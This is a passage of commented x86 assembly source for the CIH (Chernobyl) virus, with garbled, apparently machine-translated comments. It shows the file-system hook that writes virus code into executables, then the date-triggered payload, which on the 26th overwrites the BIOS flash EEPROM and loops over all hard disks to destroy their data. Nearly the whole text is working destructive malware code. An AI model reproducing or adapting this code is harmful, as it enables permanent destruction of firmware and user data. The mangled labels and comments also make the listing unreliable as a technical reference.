MOV EDX, (VxDCallidTable (ECX-1) * 04H- @ 9) [ESI]; Remove the ID number of VXDCallIDTable Remove the VXD call to EDXMOV [EAX 2], EDX; put it behind "INT 20H", form ' INT 20H 'and The' Service Identifier '
Movzx EDX, Byte Ptr (VxdcalladdresStable ECX-1- @ 9) [ESI]; VxDCalLaddRessTable Poor address of the address of each call VXD
Sub Eax, EDX; EAX is the last call address
Loop loopofrestorevxdcallID; restore other calls
****************************
* Let's write *
; * Virus code to the file *
****************************
WritevirusCodetofile:
MOV EAX, DR1; DR1 is the ESP saved earlier
MOV EBX, [EAX 10h]; EBX is saved in the stack handle
MOV EDI, [EAX]; EDI is the address called IFSMGR_RING0_FILEIO to save in the stack
LoopofwriteviruscodetOfile:
POP ECX; Offset of Virus Code Section
Jecxz setfilemodificationmark; to virus offset
Mov ESI, ECX
MOV EAX, 0D601H; write file function number (r0_writefile)
POP EDX; file pointer
POP ECX; number of bytes to be written
Call edi; vxdcall ifsmgr_ring0_fileio; write file
; Write in turn: Virus code, virus block table, new file block, new program entrance, infection mark
JMP loopofwriteviruscodetofile
****************************
; * Let's set cf = 1 ==> *
* NEED TO RESTORE FILE *
* Modification Time *
****************************
SetFileModificationMark:
POP EBX
POP EAX
STC; Enable Cf (Carry Flag); Setting Run Sign
Pushf; logo bit stack
**********************************************
* Close file *
**********************************************
Closefile:
XOR EAX, EAX
MOV AH, 0D7H; Close file function number
Call edi; vxdcall ifsmgr_ring0_fileio
**********************************************
; * Need to restore file model *
* Time!? *
**********************************************
POPF
POP ESI
JNC iskillComputer; CF = 0, KillComputer :-(
**********************************************
; * Restore File Modification Time *
**********************************************
MOV EBX, EDI
MOV AX, 4303H
MOV ECX, (filemodificationTime- @ 7) [ESI]
Mov Edi, (FileModificationTime 2- @ 7) [ESI]
Call ebx; vxdcall ifsmgr_ring0_fileio; modify file modification time
**********************************************
* Disable onbusy *
**********************************************
Disableonbusy:
Dec Byte Ptr (Onbusy- @ 7) [ESI]; Disable Onbus
**********************************************
; * Call Previous FileSystemapiHook *
**********************************************
Prevhook:
Popad; Restore all registers
MOV EAX, DR0; Saved original file system hook program first place
JMP [EAX]; jump to prevhook; jump to the previous hook
**********************************************
; * Call the function That the IFS *
; * Manager Would Normal Call to *
; * Implement this particular I / o *
* Request. *
**********************************************
PIFSFUNC:; FileSystemapiHookFunction parameters Parameters 2
MOV EBX, ESP; EBX points to ESP to get the parameter address of FileSystemapiHookFunction
Push DWORD PTR [EBX 20H 04H 14H]; Push Pioreq; put parameter PiOREQ PIR stack (EBX 20H 04H is the first place)
Call [EBX 20H 04H]; Call PIFSFUNC; call PIFSFUNC FSDFNADDR (FSD function address)
POP ECX;
MOV [EBX 1CH], EAX; Modify Eax Value in Stack; change EAX value (in the stack, the stack size of Pushad, 1Ch is the first stack of EAX)
****************************
; * After Calling Pifsfunc, *
* Get Some Data from the *
; * Returned pioreq. *
****************************
CMP DWORD PTR [EBX 20H 04H 04H], 00000024H; For details, please
JNE QuitmyvirusFilesystemhook
*****************
* Get the file *
* Modification *
* Date and Time *
; * in dos format. *
*****************
Mov Eax, [ECX 28h]
MOV (FileModificationTime- @ 6) [ESI], EAX; Save the available file time and date
****************************
* Quit my virus' *
; * Ifsmgr_filesystemhook *
****************************
QuitMyvirusFilesystemHook:
Popad; Restore all registers
Ret; exits from the file hook program set by the virus setting
***********************************; * KILL Computer!? ... * ^ _ ^ * *; KillComputer module (!! is very dangerous, so the principle analysis and detailed note is not announced !!)
**********************************************
IskillComputer:
Get Now Day from Bios CMOS
MOV Al, 07h
OUT 70H, Al
IN Al, 71H
XOR Al, 26h; ?? / 26 / ????; get the current date from CMOS
IF Debug
JMP Disableonbusy
Else
JNZ Disableonbusy
Endif; if it is the month's 26th, KillComputer (too dangerous). * ^ _ ^ *.
***********************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
***********************************************
****************************
; * Kill Bios EEPROM *
****************************
MOV BP, 0CF8H
Lea ESI, IOFOREEPROM- @ 7 [ESI]
******************************
; * Show bios Page in *
; * 000E0000 - 000EffFF *
; * (64 kB) *
******************************
MOV EDI, 8000384CH
MOV DX, 0CFEH
CLI
Call ESI
******************************
; * Show bios Page in *
; * 000f0000 - 000ffff *
; * (64 kB) *
******************************
MOV Di, 0058H
Dec edx; and a0fh
MOV Word Ptr (Booleancalculatecode- @ 10) [ESI], 0F24H
Call ESI; **********************
; * Show the bios extra *
* ROM DATA IN MEMORY *
; * 000E0000 - 000E01FF *
; * (512 BYTES) *
; *, and the section *
; * of extra bios can *
; * be writted ... *
******************************
Lea EBX, EnableeePromTowrite- @ 10 [ESI]
MOV Eax, 0e5555h
Mov ECX, 0E2AAAH
Call EBX
MOV BYTE PTR [EAX], 60H
Push ECX
Loop $
******************************
; * Kill the bios extra *
* ROM DATA IN MEMORY *
; * 000E0000 - 000E007F *
; * (80h Bytes) *
******************************
XOR AH, AH
MOV [EAX], Al
XCHG ECX, EAX
Loop $
******************************
; * Show and enable the *
* BIOS main ROM DATA *
; * 000E0000 - 000ffff *
; * (128 kB) *
; * can be writted ... *
******************************
Mov Eax, 0F5555H
POP ECX
MOV CH, 0AAH
Call EBX
MOV Byte Ptr [EAX], 20H
Loop $
******************************
; * Kill The Bios Main *
* ROM DATA IN MEMORY *
; * 000FE000 - 000FE07F *
; * (80h Bytes) *
******************************
Mov Ah, 0E0H
MOV [EAX], Al
******************************
* Hide Bios Page In *
; * 000f0000 - 000ffff *
; * (64 kB) *
******************************
OR AL 0H
Mov Word Ptr (Booleancalculatecode- @ 10) [ESI], 100CH
Call ESI
****************************
* Kill All HardDisk *
*********************************************************** **
; * IOR STRUCTURE OF IOS_SENDCOMMAND NEEDS *
*********************************************************** **
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ??????? *
; * 00 00 00 00 00 00 00 00 00 10 00 c0 *
; * ?? ?? ???????????????????
; * ?? ?? ???????????????????
; * ?? ????????????????????? 80??? *
*********************************************************** ** killharddisk:
XOR EBX, EBX
MOV BH, FirstkillhardDiskNumber
Push EBX
SUB ESP, 2CH
Push 0C0001000H
MOV BH, 08H
Push EBX
Push ECX
Push ECX
Push ECX
Push 40000501H
Inc ECX
Push ECX
Push ECX
MOV ESI, ESP
SUB ESP, 0ACH
Loopofkillharddisk:
INT 20H
DD 00100004H; vxdcall ios_sendcommand
CMP Word PTR [ESI 06H], 0017H
JE KillNextDataSECTION
ChangenexthardiSK:
Inc Byte PTR [ESI 4DH]
JMP loopofkillharddisk
KillNextDataSecion:
Add DWORD PTR [ESI 10H], EBX
MOV BYTE PTR [ESI 4DH], FirstkillhardDiskNumber
JMP loopofkillharddisk
****************************
* Enable EEPROM to write *
****************************
EnableeePromTowrite:
MOV [EAX], CL
MOV [ECX], Al
MOV BYTE PTR [EAX], 80H
MOV [EAX], CL
MOV [ECX], Al
RET
****************************
; * IO for EEPROM *
****************************
IOFOREPROM:
@ 10 = IOFOREPROM
XCHG Eax, EDI
XCHG EDX, EBP
OUT DX, EAX
XCHG Eax, EDI
XCHG EDX, EBP
IN Al, DX
Booleancalculatecode = $
OR Al, 44h
XCHG Eax, EDI
XCHG EDX, EBP
OUT DX, EAX
XCHG Eax, EDI
XCHG EDX, EBP
Out dx, al
RET
*********************************************************** *********
; * Static Data *
*********************************************************** *********
Lastvxdcalladdress = ifsmgr_ring0_fileio; the address of the last calling VXD
Vxdcalladdresstable db 00h
DB IFSMGR_RemoveFilesystemapiHook-_PageAllocate
DB Unitobcspath-IFSMGR_RemoveFilesystemapiHook
DB IFSMGR_RING0_FILEIO-UNITOBCSPATH; Each VXD call command address
VXDCallidTable DD 00010053H, 00400068H, 00400041H, 00400032H; VXD call number
Vxdcalltablesize = ($ -vxdcallidtable) / 04h; number of VxD calls in the program
*********************************************************** *********
; * Virus version Copyright *; *************************************************** *************
VirusversionCopyRight DB 'CiH V'; ID of CiH virus
DB MAJORVIRUSVERSION '0'; main version number
DB '.'
DB Minorvirusversion '0'; deputy version number
DB 'Tatung'; author name
*********************************************************** *********
; * Virus size *
*********************************************************** *********
Virussize = $
SizeofviruscodeSecionTablendmark (04H)
Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)
; SizeofthefirstviruscodeSECTIONTABLE (04H); Full length of virus code
*********************************************************** *********
* Dynamic Data *
*********************************************************** *********
VirusGameDataStartaddress = Virussize
@ 6 = VirusGameDataStartAddress
Onbusy DB 0; busy sign
FileModificationTime DD?; File modification time
FileNameBuffer DB FileNameBuffersize DUP (?); 7FH long file name data area
@ 7 = filenamebuffer
DataBuffer = $
@ 8 = DataBuffer
NUMBEROFSECTIONS DW?; Number
TIMEDATESTAMP DD?; Document time
Symbolspointer DD?;
NUMBEROFSYMBOLS DD?; Symbols in the symbol table
SIZEOFOPTIONALHEADER DW?; Optional Department
_Characteristics DW?; Information logo
Magic dw?; Sign word (always 010bh)
LinkerVersion dw?; Connector version number
SIZEOFCODE DD?; Code segment size
SIZEOFINIALIZEDDATA DD?; The size of the data block has been initialized
SIZEOFUNITIALIZEDDATA DD?; Data block size is not initialized
AddressofentryPoint Dd?; Program start RVA
BaseOfcode DD?; Code segment start RVA
BaseOfData DD?; Data Section Start RVA
IMAGEBASE DD?; Load base RVA
@ 9 = $
SECTIONALIGNMENT DD?;
FileAlignment DD?; File block alignment
OPERATINGSYSTEMVERSION DD?; Required operating system version number
ImageVersion DD?; User Custom Version Number
SUBSYSTEMVERSION DD?; Required subsystem version number
RESERVED DD?;
SIZEOFIMAGE DD?;
SizeOfheaders DD?; Department first and block size
SizeOfImageTertoread = $ -Numberofsection ;;;
NewaddressofentryPoint = Database; DWORD;
SizeOfimageHeadertowrite = 04h;
STARTOFSECTIONTABLE = @ 9
SectionName = startockTable; Qword; Block Name
Virtualsize = startofsectionTable 08h; DWORD; this segment real length
VirtualAddress = StartofsectionTable 0CH; DWORD; this block's RVA
SizeOfrawData = StartofsectionTable 10h; DWORD; this block physical length
PointertorawData = StartofsectionTable 14H; DWORD; this block physical offset
PointertoreLocations = StartofsectionTable 18h; DWORD; Relocation offset
PointertolinenumBers = startofsectionTable 1CH; DWORD; offset of the line number table
Numberofrelocations = StartofsectionTable 20h; Word; Relocation item
Numberoflinennmbers = startofsectionTable 22h; Word; quotes
Characteristics = StartofsectionTable 24h; DWORD; block properties
SizeOfscetionTable = Characteristics 04h-sectionname; the length of the block entry
*********************************************************** *********
; * Virus Total NEED MEMORY *
*********************************************************** *********
VirusNeedBaseMemory = $
VirusNeedBaseMemory = $
VirustotalneedMemory = @ 9
Numberofsections (??) * SizeOfScetionTable (28H)
SizeofviruscodeSecionTablendmark (04H)
Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)
SizeofthefirstviruscodeSECTIONTABLE (04H); Memory required for viruses (full length of virus)
*********************************************************** *********
*********************************************************** *********
Virusgame ends
End FileHeader
